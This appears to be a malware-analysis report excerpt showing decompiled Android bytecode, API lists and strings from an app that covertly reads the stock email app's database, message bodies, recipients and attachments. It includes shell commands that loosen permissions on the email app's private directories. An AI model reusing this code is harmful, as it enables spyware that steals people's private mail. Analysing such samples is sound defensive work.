      333if-eqz v2, :cond_4e0
      335const-string v2, "textContent"
      337invoke-interface {v3, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      338move-result v2
      340invoke-interface {v3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      341move-result-object v7
      343const-string v2, "htmlContent"
      345invoke-interface {v3, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      346move-result v2
      348invoke-interface {v3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      349move-result-object v6
      351const-string v2, "textReply"
      353invoke-interface {v3, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      354move-result v2
      356invoke-interface {v3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      357move-result-object v5
      359const-string v2, "htmlReply"
      361invoke-interface {v3, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      362move-result v2
      364invoke-interface {v3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      365move-result-object v4
      367const-string v2, "introText"
      369invoke-interface {v3, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      370move-result v2
      372invoke-interface {v3, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      373try_end_1fa: move-result-object v2
      374goto_1fb: if-eqz v3, :cond_200
      375try_start_1fd:
      376invoke-interface {v3}, Landroid/database/Cursor;->close()V
      377goto_200: move-object v8, v2
      378goto_201: if-eqz v6, :cond_448
      379try_start_203:
      380invoke-virtual {v6}, Ljava/lang/String;->length()I
      381move-result v2
      382if-lez v2, :cond_448
      384const-string v2, "\nContent-Type: multipart/alternative; boundary=\"ANDROID_BOUNDARY\""
      386invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      388const-string v2, "\nMIME-Version: 1.0"
      390invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      392const-string v2, "\n\n--ANDROID_BOUNDARY"
      394invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      396const-string v2, "\r\nContent-Type: text/plain; charset=\"UTF-8\""
      398invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      400const-string v2, "\n\n"
      402invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      403new-instance v2, Ljava/lang/StringBuilder;
      405const-string v3, "\r\n"
      407invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      409invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      410move-result-object v2
      412invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      413move-result-object v2
      415invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      416if-eqz v8, :cond_23e
      418const-string v2, "\n"
      420invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      422invoke-virtual {v11, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      423cond_23e: if-eqz v5, :cond_248
      425const-string v2, "\n"
      427invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      429invoke-virtual {v11, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      430cond_248:
      431const-string v2, "\r\n"
      433invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      435const-string v2, "\n\n--ANDROID_BOUNDARY"
      437invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      439const-string v2, "\r\nContent-Type: text/html; charset=\"UTF-8\""
      441invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      443const-string v2, "\n\n"
      445invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      446new-instance v2, Ljava/lang/StringBuilder;
      448const-string v3, "\r\n"
      450invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      452invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      453move-result-object v2
      455invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      456move-result-object v2
      458invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      459if-eqz v4, :cond_273
      461invoke-virtual {v11, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      462cond_273:
      463const-string v2, "\r\n"
      465invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      466try_start_278: new-instance v2, Ljava/lang/StringBuilder;
      468const-string v3, "GetContentMail serializeEmail body: "
      470invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      472invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      473move-result-object v2
      475invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      476move-result-object v2
      478invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      479move-object/from16 v0, p3
      481invoke-virtual {v0, v13}, Ljava/util/Vector;->addElement(Ljava/lang/Object;)V
      483invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      484move-result-object v2
      486invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      487move-result-object v3
      488move-object/from16 v0, p2
      490invoke-virtual {v0, v3}, Ljava/util/Vector;->addElement(Ljava/lang/Object;)V
      492const-string v3, ""
      494const-string v4, "size"
      496invoke-virtual {v2}, Ljava/lang/String;->length()I
      497move-result v2
      499invoke-static {v2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
      500move-result-object v2
      501move-object/from16 v0, p0
      503invoke-interface {v0, v3, v4, v2}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      504if-nez p7, :cond_475
      506const-string v2, "flagAttachment"
      507move-object/from16 v0, p1
      509invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      510move-result v2
      511move-object/from16 v0, p1
      513invoke-interface {v0, v2}, Landroid/database/Cursor;->getInt(I)I
      514move-result v2
      515const/4 v3, 0x1
      516if-ne v2, v3, :cond_2c7
      517move-object/from16 v0, p0
      518move-object/from16 v1, p5
      520invoke-static {v0, v1, v10, v12}, Lcom/network/android/r;->a(Lorg/xmlpull/v1/XmlSerializer;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;Ljava/lang/String;)V
      521goto_2c7:
      522const-string v2, ""
      524const-string v3, "emailEntry"
      525move-object/from16 v0, p0
      527invoke-interface {v0, v2, v3}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      528const/4 v2, 0x1
      529goto_2d1: return v2
      530cond_2d2:
      531const-string v2, "timeStamp"
      532move-object/from16 v0, p1
      534invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      535move-result v2
      536move-object/from16 v0, p1
      538invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      539move-result-object v7
      541const-string v2, "subject"
      542move-object/from16 v0, p1
      544invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      545move-result v2
      546move-object/from16 v0, p1
      548invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      549move-result-object v6
      551const-string v2, "fromList"
      552move-object/from16 v0, p1
      554invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      555move-result v2
      556move-object/from16 v0, p1
      558invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      559move-result-object v2
      561invoke-static {v2}, Lcom/network/android/r;->c(Ljava/lang/String;)Ljava/lang/String;
      562move-result-object v5
      564const-string v2, "toList"
      565move-object/from16 v0, p1
      567invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      568move-result v2
      569move-object/from16 v0, p1
      571invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      572move-result-object v2
      574invoke-static {v2}, Lcom/network/android/r;->c(Ljava/lang/String;)Ljava/lang/String;
      575move-result-object v4
      577const-string v2, "ccList"
      578move-object/from16 v0, p1
      580invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      581move-result v2
      582move-object/from16 v0, p1
      584invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      585move-result-object v2
      587invoke-static {v2}, Lcom/network/android/r;->c(Ljava/lang/String;)Ljava/lang/String;
      588move-result-object v3
      590const-string v2, "bccList"
      591move-object/from16 v0, p1
      593invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      594move-result v2
      595move-object/from16 v0, p1
      597invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      598move-result-object v2
      600invoke-static {v2}, Lcom/network/android/r;->c(Ljava/lang/String;)Ljava/lang/String;
      601move-result-object v2
      603const-string v8, "mailboxKey"
      604move-object/from16 v0, p1
      606invoke-interface {v0, v8}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      607move-result v8
      608move-object/from16 v0, p1
      610invoke-interface {v0, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      611move-result-object v8
      612move-object/from16 v0, p5
      614invoke-static {v8, v0}, Lcom/network/android/r;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
      615move-result-object v8
      617const-string v9, "accountKey"
      618move-object/from16 v0, p1
      620invoke-interface {v0, v9}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      621move-result v9
      622move-object/from16 v0, p1
      624invoke-interface {v0, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      625move-result-object v9
      626move-object/from16 v0, p5
      628invoke-static {v9, v0}, Lcom/network/android/r;->b(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;)Ljava/lang/String;
      629move-result-object p8
      631const-string v9, "Drafts"
      633invoke-virtual {v9, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      634move-result v9
      635if-eqz v9, :cond_4e3
      636new-instance v2, Ljava/lang/StringBuilder;
      638const-string v3, "GetContentMail serializeEmail id:"
      640invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      642invoke-virtual {v2, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      643move-result-object v2
      645const-string v3, " email is draft"
      647invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      648move-result-object v2
      650invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      651move-result-object v2
      653invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      654try_end_37e: const/4 v2, 0x0
      655goto/16 :goto_2d1
      656catch_381: move-exception v2
      657try_start_382: new-instance v9, Ljava/lang/StringBuilder;
      659const-string v14, "GetContentMail serializeEmail MAIL contant get body - "
      661invoke-direct {v9, v14}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      663invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      664move-result-object v14
      666invoke-virtual {v9, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      667move-result-object v9
      669invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      670move-result-object v9
      672invoke-static {v9, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      673try_end_398: if-eqz v3, :cond_201
      674try_start_39a:
      675invoke-interface {v3}, Landroid/database/Cursor;->close()V
      676try_end_39d: goto/16 :goto_201
      677catch_39f: move-exception v2
      678try_start_3a0: new-instance v3, Ljava/lang/StringBuilder;
      680const-string v9, "GetContentMail serializeEmail mail contant get body finaly - "
      682invoke-direct {v3, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      684invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      685move-result-object v9
      687invoke-virtual {v3, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      688move-result-object v3
      690invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      691move-result-object v3
      693invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      694try_end_3b6: goto/16 :goto_201
      695catch_3b8: move-exception v2
      696try_start_3b9: new-instance v3, Ljava/lang/StringBuilder;
      698const-string v4, "GetContentMail serializeEmail contant - "
      700invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      702invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      703move-result-object v4
      705invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      706move-result-object v3
      708invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      709move-result-object v3
      711invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      712try_end_3cf: goto/16 :goto_278
      713catch_3d1: move-exception v2
      714new-instance v3, Ljava/lang/StringBuilder;
      716const-string v4, "GetContentMail serializeEmail - "
      718invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      720invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      721move-result-object v4
      723invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      724move-result-object v3
      726invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      727move-result-object v3
      729invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      730const/4 v2, 0x0
      731goto/16 :goto_2d1
      732catchall_3eb: move-exception v2
      733if-eqz v3, :cond_3f1
      734try_start_3ee:
      735invoke-interface {v3}, Landroid/database/Cursor;->close()V
      736try_start_3f1: throw v2
      737try_end_3f2: const/4 v2, 0x1
      738move/from16 v0, p7
      739if-ne v0, v2, :cond_201
      740try_start_3f7:
      741const-string v2, "body"
      742move-object/from16 v0, p1
      744invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      745move-result v2
      746move-object/from16 v0, p1
      748invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      749try_end_404: move-result-object v2
      750if-eqz v2, :cond_40d
      751try_start_407:
      752invoke-virtual {v2}, Ljava/lang/String;->length()I
      753move-result v3
      754if-nez v3, :cond_42c
      755cond_40d:
      756const-string v3, "GetContentMail serializeEmail get Gmail body"
      758invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      760const-string v3, "bodyCompressed"
      761move-object/from16 v0, p1
      763invoke-interface {v0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      764move-result v3
      765move-object/from16 v0, p1
      767invoke-interface {v0, v3}, Landroid/database/Cursor;->getBlob(I)[B
      768move-result-object v3
      769if-eqz v3, :cond_42c
      771invoke-static {v3}, Lcom/network/android/r;->a([B)[B
      772move-result-object v6
      773new-instance v3, Ljava/lang/String;
      775invoke-direct {v3, v6}, Ljava/lang/String;-><init>([B)V
      776try_end_42b: move-object v2, v3
      777cond_42c: move-object v6, v2
      778goto/16 :goto_201
      779catch_42f: move-exception v2
      780try_start_430: new-instance v3, Ljava/lang/StringBuilder;
      782const-string v9, "GetContentMail serializeEmail EMAIL contant get body - "
      784invoke-direct {v3, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      786invoke-virtual {v2}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      787move-result-object v9
      789invoke-virtual {v3, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      790move-result-object v3
      792invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      793move-result-object v3
      795invoke-static {v3, v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      796goto/16 :goto_201
      797cond_448: new-instance v2, Ljava/lang/StringBuilder;
      799const-string v3, "\n\n"
      801invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      803invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      804move-result-object v2
      806invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      807move-result-object v2
      809invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      810if-eqz v8, :cond_464
      812const-string v2, "\n"
      814invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      816invoke-virtual {v11, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      817cond_464: if-eqz v5, :cond_46e
      819const-string v2, "\n"
      821invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      823invoke-virtual {v11, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      824cond_46e:
      825const-string v2, "\r\n"
      827invoke-virtual {v11, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      828try_end_473: goto/16 :goto_278
      829cond_475: const/4 v2, 0x1
      830move/from16 v0, p7
      831if-ne v0, v2, :cond_2c7
      832try_start_47a:
      833const-string v2, "joinedAttachmentInfos"
      834move-object/from16 v0, p1
      836invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      837move-result v2
      838move-object/from16 v0, p1
      840invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      841move-result-object v2
      842if-eqz v2, :cond_2c7
      844invoke-virtual {v2}, Ljava/lang/String;->length()I
      845move-result v3
      846if-lez v3, :cond_2c7
      847new-instance v3, Ljava/lang/StringBuilder;
      849const-string v4, "GetContentMail serializeEmail Gmail joinedAttachmentInfos: "
      851invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      853invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      854move-result-object v3
      856invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      857move-result-object v3
      859invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      860move-object/from16 v0, p0
      862invoke-static {v0, v12, v2}, Lcom/network/android/r;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/String;)V
      863try_end_4a7: goto/16 :goto_2c7
      864catch_4a9: move-exception v3
      865try_start_4aa: new-instance v4, Ljava/lang/StringBuilder;
      867const-string v5, "GetContentMail serializeEmail mail contant get body finaly - "
      869invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      871invoke-virtual {v3}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      872move-result-object v5
      874invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      875move-result-object v4
      877invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      878move-result-object v4
      880invoke-static {v4, v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      881goto/16 :goto_3f1
      882catch_4c2: move-exception v3
      883new-instance v8, Ljava/lang/StringBuilder;
      885const-string v9, "GetContentMail serializeEmail mail contant get body finaly - "
      887invoke-direct {v8, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      889invoke-virtual {v3}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      890move-result-object v9
      892invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      893move-result-object v8
      895invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      896move-result-object v8
      898invoke-static {v8, v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      899try_end_4d9: goto/16 :goto_200
      900catch_4db: move-exception v3
      901move-object v6, v2
      902move-object v2, v3
      903goto/16 :goto_430
      904cond_4e0: move-object v2, v8
      905goto/16 :goto_1fb
      906cond_4e3: move-object v9, v8
      907move-object v8, v7
      908move-object v7, v6
      909move-object v6, v4
      910move-object v4, v2
      911move-object v2, v5
      912move-object v5, v3
      913move-object/from16 v3, p8
      914goto/16 :goto_a6
      APIs
      • java.lang.String.split
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.ReentrantReadWriteLock.<init>
      • java.util.concurrent.locks.ReentrantReadWriteLock.readLock
      • java.util.concurrent.locks.Lock.lock
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.net.Uri.parse
      • android.net.Uri.getScheme
      • java.lang.String.equals
      • android.net.Uri.getPath
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • android.net.Uri.getPathSegments
      • java.util.List.get
      • java.util.List.get
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.length
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.read
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetContentMail getAttachmentFileCommand version too low. returning
      • GetContentMail getAttachmentFileCommand get attachment start
      • _
      • /data/data/com.android.email
      • /data/data/com.android.email/databases
      • getContent Mail messages:
      • GetContentMail getAttachmentFileCommand DB not exists -> exit!:
      • get mail -
      • /data/data/com.android.email/databases/
      • chmod 0777 /data/data/com.android.email; chmod 0777 /data/data/com.android.email/databases;
      • 0777
      • EmailProvider.db
      • select * from Message where _id = \'
      • \'
      • GetContentMail getAttachmentFileCommand get mail query:
      • GetContentMail getAttachmentFileCommand Provider == null return
      • get Mail finally-
      • timeStamp
      • GetContentMail getAttachmentFileCommand date:
      • GetContentMail getAttachmentFileCommand getAttachments
      • select * from Attachment where _id = \'
      • \'
      • GetContentMail getAttachmentFileCommand query:
      • GetContentMail getAttachmentFileCommand size:
      • fileName
      • size
      • mimeType
      • _id
      • contentUri
      • GetContentMail getAttachmentFileCommand:
      • GetContentMail getAttachmentFileCommand URI:
      • file
      • GetContentMail getAttachmentFileCommand copy local:
      • GetContentMail getAttachmentFileCommand attachmentLength:
      • GetContentMail getAttachmentFileCommand 0 chankData fileSize
      • content
      • /data/data/com.android.email/cache/
      • .db_att/
      • GetContentMail getAttachmentFileCommand cashed content path:
      • -single
      • GetContentMail getAttachmentFileCommand-
      • GET_ATTACHMENT_FAIL
      • GET_ATTACHMENT_NOT_AVAILABLE
      • httpPing
      • GetContentMail getAttachmentFileCommand-
      • chmod 0751 /data/data/com.android.email; chmod 0771 /data/data/com.android.email/databases;
      • 0666
      • getAttachmentFileCommand end
